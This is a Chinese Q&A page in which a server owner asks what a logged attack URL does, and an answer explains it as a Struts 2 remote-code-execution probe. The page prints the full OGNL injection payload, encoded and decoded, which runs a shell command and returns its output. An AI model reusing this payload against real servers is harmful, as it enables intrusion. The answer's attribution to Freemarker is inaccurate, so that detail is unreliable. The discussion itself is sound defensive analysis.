有 Java 编程相关的问题?

你可以在下面搜索框中键入要查询的问题!

这个黑客试图用这个Java代码做什么?

在我的web服务器的服务器日志中,我注意到一名黑客正在尝试以下操作:

https://[domain name]/index.action?action:${%23a%3d(new%20java.lang.processbuilder(new%20java.lang.string[]{'sh','-c','id'})).start(),%23b%3d%23a.getinputstream(),%23c%3dnew%20java.io.inputstreamreader(%23b),%23d%3dnew%20java.io.bufferedreader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.httpservletresponse%27),%23matt.getwriter().println(%23e),%23matt.getwriter().flush(),%23matt.getwriter().close()}

哪个URL解码为:

https://[domain name]/index.action?action:${#a=(new java.lang.processbuilder(new java.lang.string[]{'sh','-c','id'})).start(),#b=#a.getinputstream(),#c=new java.io.inputstreamreader(#b),#d=new java.io.bufferedreader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.httpservletresponse'),#matt.getwriter().println(#e),#matt.getwriter().flush(),#matt.getwriter().close()}

我的服务器不使用Java,但我试图了解这个黑客在这里试图做什么,以及为什么这可能是一个漏洞。毕竟,我不仅仅是一名开发人员,还需要知道如何保护服务器,包括不是由我设置的服务器

代码似乎启动了一个新进程,然后尝试从输入流中读取数据。我假设这是当前web会话的输入流

因为此攻击也会通过/login进行尝试。动作和其他各种URL以及不同的Java代码,我认为这是潜在的危险。但我无法解释为什么这很危险

当黑客试图查看它是否在运行WordPress、Magenta或其他已知系统时,特定域现在正受到攻击,并且还尝试了几种不同的攻击

但重要的是:该领域目前正在开发中,所有者仍然必须决定将使用哪些开发工具。选择是在Java和ASP-NET之间进行的,因此如果他选择Java,这种攻击是否危险


共 (1) 个答案

  1. # 1 楼答案

    我认为,它试图利用Struts 2中的RCE漏洞。一个坏的方法是,Freemarker将执行${}标记内的任何代码

    Freemarker代码启动一个进程来执行id,以查看服务器是否以root的身份运行,从而提供对该框的完全访问权限。即使是易受攻击的Struts版本在这里也可能不太糟糕,因为攻击者可能不感兴趣,除非您是root

    攻击者的程序有很多这些旧漏洞,这些漏洞可以在非常不安全的服务器上工作,但即使是简单的管理协议也可以防止这些业余攻击。只有在以root用户身份运行、使用旧版本的软件、使用弱密码或默认密码打开数据库服务器到internet等情况下,您才会受到攻击

    无论您选择何种技术,都会存在安全问题,您需要遵守CVEs。例如,像Spring这样的现代Java框架有一些,但远程代码执行非常罕见,这就是这些攻击程序所寻找的